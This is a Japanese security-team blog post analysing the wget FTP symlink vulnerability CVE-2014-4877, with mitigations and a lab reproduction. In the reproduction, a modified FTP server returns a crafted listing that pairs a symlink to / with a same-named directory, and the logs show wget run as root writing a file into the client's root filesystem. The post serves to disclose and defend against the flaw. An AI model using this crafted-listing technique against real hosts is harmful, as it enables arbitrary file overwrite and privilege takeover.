スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > wgetによるrecursive fetchの危険性(CVE-2014-4877)

タイガーチームセキュリティレポート

wgetによるrecursive fetchの危険性(CVE-2014-4877)

今回はwgetの小さくて嫌らしい脆弱性をサクっと検証してみます。


-影響-

wgetのretr-symlinksオプションをoffにしてFTPサーバに対するrecursive fetchを行った場合、FTPサーバから細工されたレスポンスを受け取ることによりシンボリックリンクを通してローカルファイルシステムの任意のパスにファイルを作成される危険性があります。

バージョン1.16未満のwgetではデフォルトでretr-symlinksが無効であるため、デフォルト値を使用してFTPサーバからrecursive fetchした場合にはこの脆弱性の影響を受けます。1.16以降も明示的にretr-symlinksを無効にした場合には、同じ影響を受けます。

この脆弱性の影響を受ける具体的なシナリオの一例としてcronからwgetを使って定期的にFTPサーバの内容をmirroringしていた場合には、ローカルファイルシステムの任意のファイルを上書きまたは指定されたパーミッションで新規に作成される可能性があります。


-対策-

/etc/wgetrcでretr-symlinks=onを設定するか、wgetを1.16以降にバージョンアップすることでデフォルトの動作がセキュアになります。ただし、デフォルトの動作を変更しても脆弱性がなくなっているわけではないので、curlなどで代替したほうが確実です。


-原因-

retr-symlinksが有効な場合と無効な場合では、FTPサーバのディレクトリ内にシンボリックリンクが存在した場合の動作が異なります。retr-symlinksが有効な場合、リンク先のファイルを取得しますがリンクは作成しません。retr-symlinksが無効な場合、リンク先のファイルを取得しませんがローカルにリンクを作成します。

問題になるのはretr-symlinksが無効な状況でrecursive fetchした時に同じディレクトリ内に同じ名前のシンボリックリンクとディレクトリが存在した場合です。この場合、wgetはローカルにリンクを作成すると同時に同じ名前のディレクトリにrecurseするので、リンク先のディレクトリに移動してファイルを作っていきます。

具体的な状況としては、FTPサーバがLISTコマンドに対して以下コメントで説明されているようなレスポンスを返す場合です。このような状況は通常のファイルシステムではあり得ませんが、悪意あるFTPサーバがそのようなレスポンスを偽造することは容易です。

/* 2014-09-07  Darshit Shah  <darnir@gmail.com>
 * opt.retr_symlinks is set to true by default. Creating symbolic links on the
 * local filesystem pose a security threat by malicious FTP Servers that
 * server a specially crafted .listing file akin to this:
 *
 * lrwxrwxrwx   1 root     root           33 Dec 25  2012 JoCxl6d8rFU -> /
 * drwxrwxr-x  15 1024     106          4096 Aug 28 02:02 JoCxl6d8rFU
 *
 * A .listing file in this fashion makes Wget susceptiple to a symlink attack
 * wherein the attacker is able to create arbitrary files, directories and
 * symbolic links on the target system and even set permissions.
 *
 * Hence, by default Wget attempts to retrieve the pointed-to files and does
 * not create the symbolic links locally.
 */
opt.retr_symlinks = true
wget.git


-検証-

実際に脆弱性の検証をやってみます。

以下のように構成したftpディレクトリをFTPサーバ上で公開します。ftpの直下に/を指すシンボリックリンクlinkとディレクトリrootがあり、root直下にxxxという名前のファイルがあります。FTPサーバには検証のためにソースを改変してビルドしたwu-ftpd/2.8.0を使用します。

alice@server:~$ ls -lR ftp
ftp:
total 4
lrwxrwxrwx 1 alice alice    1 Nov  6 23:47 link -> /
drwxr-xr-x 2 alice alice 4096 Nov  7 00:48 root

ftp/root:
total 4
-rw-r--r-- 1 alice alice 7 Nov  7 00:48 xxx
alice@server:~$ 

FTPサーバを起動した上で別ホストからFTPサーバにアクセスし、LISTコマンドを実行した結果が以下です。wu-ftpdはリンクとディレクトリを同じ名前rootで返してきました。検証に必要な条件は整っています。

root@client:~# ftp 192.168.0.10
Connected to 192.168.0.10.
220 debian FTP server (Version wu-2.8.0-CC4(6) Thu Dec 6 23:48:21 JST 2014) ready.
Name (192.168.0.10:pi): alice
331 Password required for alice.
Password:
230 User alice logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ftp
200 PORT command successful.
150 Opening ASCII mode data connection for directory listing.
total 24
drwxr-xr-x   3 1000     1000         4096 Nov  6 23:47 .
drwxr-xr-x  53 1000     1000         4096 Nov  7 00:48 ..
lrwxrwxrwx   1 1000     1000            1 Nov  6 23:47 root -> /
drwxr-xr-x   2 1000     1000         4096 Nov  7 00:48 root
226 Transfer complete.
ftp> quit
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 401 bytes in 0 transfers.
221-Thank you for using the FTP service on debian.
221 Goodbye.
root@client:~# 

では同じホストからFTPサーバにwgetでrecursive fetchしてみます。まずは、retr-symlinksを有効にした場合です。

root@client:~# wget -r --retr-symlinks=on --ftp-user alice --ftp-password pass ftp://192.168.0.10/ftp/
--2014-11-07 01:02:34--  ftp://192.168.0.10/ftp/
           => `192.168.0.10/ftp/.listing'
Connecting to 192.168.0.10:21... connected.
Logging in as alice ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD (1) /home/alice/ftp ... done.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                                                           ] 254         --.-K/s   in 0s      

2014-11-07 01:02:34 (2.18 MB/s) - `192.168.0.10/ftp/.listing' saved [254]

Removed `192.168.0.10/ftp/.listing'.
--2014-11-07 01:02:34--  ftp://192.168.0.10/ftp/root
           => `192.168.0.10/ftp/root'
==> CWD not required.
==> SIZE root ... done.
==> PASV ... done.    ==> RETR root ... 
No such file `root'.

--2014-11-07 01:02:34--  ftp://192.168.0.10/ftp/root/
           => `192.168.0.10/ftp/root/.listing'
==> CWD (1) /home/alice/ftp/root ... done.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                                                           ] 187         --.-K/s   in 0s      

2014-11-07 01:02:34 (2.41 MB/s) - `192.168.0.10/ftp/root/.listing' saved [187]

Removed `192.168.0.10/ftp/root/.listing'.
--2014-11-07 01:02:34--  ftp://192.168.0.10/ftp/root/xxx
           => `192.168.0.10/ftp/root/xxx'
==> CWD not required.
==> PASV ... done.    ==> RETR xxx ... done.
Length: 7

100%[==============================================================================>] 7           --.-K/s   in 0s      

2014-11-07 01:02:34 (97.7 KB/s) - `192.168.0.10/ftp/root/xxx' saved [7]

FINISHED --2014-11-07 01:02:34--
Total wall clock time: 0.2s
Downloaded: 1 files, 7 in 0s (26.8 KB/s)
root@client:~# 
root@client:~# ls -lR 192.168.0.10/
192.168.0.10/:
total 4
drwxr-xr-x 3 root root 4096 Nov  7 01:02 ftp

192.168.0.10/ftp:
total 4
drwxr-xr-x 2 root root 4096 Nov  7 01:02 root

192.168.0.10/ftp/root:
total 4
-rw-r--r-- 1 root root 7 Nov  7 00:48 xxx
root@client:~# 

リンクrootに対するRETRがNo such fileで失敗したあと、ローカルにディレクトリrootとxxxが作成されました。これは問題のない動作と言えます。

次にretr-symlinksを無効にしてみます。

root@client:~# wget -r --retr-symlinks=no --ftp-user alice --ftp-password pass ftp://192.168.0.10/ftp/
--2014-11-07 01:07:50--  ftp://192.168.0.10/ftp/
           => `192.168.0.10/ftp/.listing'
Connecting to 192.168.0.10:21... connected.
Logging in as alice ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD (1) /home/alice/ftp ... done.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                                                           ] 254         --.-K/s   in 0s      

2014-11-07 01:07:50 (3.19 MB/s) - `192.168.0.10/ftp/.listing' saved [254]

Removed `192.168.0.10/ftp/.listing'.
Creating symlink `/' -> `/'

--2014-11-07 01:07:50--  ftp://192.168.0.10/ftp/root/
           => `192.168.0.10/ftp/root/.listing'
==> CWD (1) /home/alice/ftp/root ... done.
==> PASV ... done.    ==> LIST ... done.

    [ <=>                                                                           ] 187         --.-K/s   in 0s      

2014-11-07 01:07:50 (2.44 MB/s) - `192.168.0.10/ftp/root/.listing' saved [187]

Removed `192.168.0.10/ftp/root/.listing'.
--2014-11-07 01:07:50--  ftp://192.168.0.10/ftp/root/xxx
           => `192.168.0.10/ftp/root/xxx'
==> CWD not required.
==> PASV ... done.    ==> RETR xxx ... done.
Length: 7

100%[==============================================================================>] 7           --.-K/s   in 0s      

2014-11-07 01:07:50 (101 KB/s) - `192.168.0.10/ftp/root/xxx' saved [7]

FINISHED --2014-11-07 01:07:50--
Total wall clock time: 0.2s
Downloaded: 1 files, 7 in 0s (31.5 KB/s)
root@client:~# 
root@client:~# ls -lR 192.168.0.10/
192.168.0.10/:
total 4
drwxr-xr-x 2 root root 4096 Nov  7 01:07 ftp

192.168.0.10/ftp:
total 0
lrwxrwxrwx 1 root root 1 Nov  7 01:07 root -> /
root@client:~# 
root@client:~# ls -l /
total 92
drwxr-xr-x   2 root root  4096 Nov  6 19:38 bin
drwxr-xr-x   2 root root 16384 Jan  1  1970 boot
drwxr-xr-x  12 root root  3100 Nov  6 19:58 dev
drwxr-xr-x 100 root root  4096 Nov  6 20:07 etc
drwxr-xr-x   5 root root  4096 May  7  2014 home
drwxr-xr-x  12 root root  4096 Nov  6 19:40 lib
drwx------   2 root root 16384 Dec 21  2013 lost+found
drwxr-xr-x   2 root root  4096 Dec 21  2013 media
drwxr-xr-x   2 root root  4096 Oct 18  2013 mnt
drwxr-xr-x   5 root root  4096 Dec 21  2013 opt
dr-xr-xr-x 107 root root     0 Jan  1  1970 proc
drwx------   5 root root  4096 Nov  7 01:07 root
drwxr-xr-x  15 root root   580 Nov  6 19:59 run
drwxr-xr-x   2 root root  4096 Nov  6 19:43 sbin
drwxr-xr-x   2 root root  4096 Jun 20  2012 selinux
drwxr-xr-x   2 root root  4096 Dec 21  2013 srv
dr-xr-xr-x  12 root root     0 Jan  1  1970 sys
drwxrwxrwt   6 root root  4096 Nov  7 01:07 tmp
drwxr-xr-x  10 root root  4096 Dec 21  2013 usr
drwxr-xr-x  11 root root  4096 Dec 21  2013 var
-rw-r--r--   1 root root     7 Nov  7 00:48 xxx
root@client:~# 
root@client:~# cat /xxx
pwned!
root@client:~# 

この場合はrootのリンク先である / に移動(CWD)したあとにxxxが作成されました。wgetをrootユーザで実行しているので、接続先が悪意あるFTPサーバだった場合にはシステムファイルなどを書き換えられ、攻撃者による管理者権限の取得につながります。

今回の検証は、以上です


参考情報:
[1] CVE-2014-4877: Arbitrary Symlink Access
http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
[2] CVE-2014-4877
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4877
[3] JVNDB-2014-005133
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-005133.html


タイガーチームメンバー 塚本 泰三